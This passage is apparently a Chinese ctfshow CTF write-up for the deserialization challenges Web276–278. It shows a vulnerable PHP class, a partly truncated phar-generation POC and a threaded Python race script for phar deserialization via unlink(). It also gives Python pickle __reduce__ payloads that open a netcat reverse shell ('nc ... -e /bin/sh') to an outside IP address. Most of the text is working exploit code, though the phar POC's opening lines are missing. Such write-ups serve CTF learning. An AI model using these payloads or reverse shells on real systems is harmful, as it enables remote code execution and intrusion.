或者也可以第二条匹配成功,也就是$content中又flag,而$content来源于$content = file_get_contents('php://input');

Web276

参考:
https://v0w.top/2020/03/12/phar-unsearise/#%E5%89%8D%E8%A8%80
https://paper.seebug.org/680/

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

filter类里面多了个$admin,想要通过析构方法进行命令执行,则一定要使得$admin=true。而代码中并没有反序列化函数,所以可利用点在于unlink()函数(file_get_contents()函数也可以)。

首先上传一个p.phar文件,然后在该文件没有被删除之前再发一个包,传入的参数是fn=phar://p.phar/test,当对其调用unlink()时,会对之前传入的并写进p.phar中的内容进行反序列化,从而进行析构函数的调用,类似于:


注意:前面一定要有phar://以及后面跟上/加一串随机字符串。

这样我们只要保证生成的phar文件在析构的时候可以进行命令拼接即可。生成phar文件的POC如下:

startBuffering();
// 设置 stubb, 增加 gif 文件头
$phar->setStub("");
$o = new filter();
/**
 * 将自定义的 meta-data 存入 manifest
 * 这个函数需要在php.ini中修改 phar.readonly 为 Off
 * 否则的话会抛出 
 * creating archive "***.phar" disabled by the php.ini setting phar.readonly 
 * 异常.
 */
$phar->setMetadata($o);
// 添加需压缩的文件
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

竞争脚本如下:

import base64
import requests
import threading

flag = False
url = 'http://8912b458-d676-484e-839c-e35d2e3705d9.challenge.ctf.show:8080/'
data = open('evil.phar', 'rb').read()

def upload():
    requests.post(url+"?fn=p.phar", data=data)


def read():
    global flag
    r = requests.post(url+"?fn=phar://p.phar/test", data="")
    if "ctfshow{" in r.text and flag is False:
        print(r.text)
        flag = True

while flag is False:
    a = threading.Thread(target=upload)
    b = threading.Thread(target=read)
    a.start()
    b.start()

Web277

python反序列化的问题,具体可以参考:
Python 反序列化漏洞学习笔记
一篇文章带你理解漏洞之 Python 反序列化漏洞
查看源代码获得提示:

where is flag?

会把传入的data参数进行base64解码后反序列化,所以使用__reduce__()魔术方法进行命令执行获得shell,POC如下:

import pickle
import base64
class A(object):
    def __reduce__(self):
        return(eval,('__import__("os").popen("nc 121.4.112.210 7777 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))

或者:

import pickle
import base64
class A(object):
    def __reduce__(self):
        return(__import__("os").system, ('nc 121.4.112.210 7777 -e /bin/sh',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))

Web278

过滤了os.system,使用上一题第一个,或者(os.popen() 方法用于从一个命令打开一个管道):

import pickle
import base64
class A(object):
    def __reduce__(self):
        return(__import__("os").popen, ('nc 121.4.112.210 7777 -e /bin/sh',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))

你可能感兴趣的:(ctfshow-反序列化篇)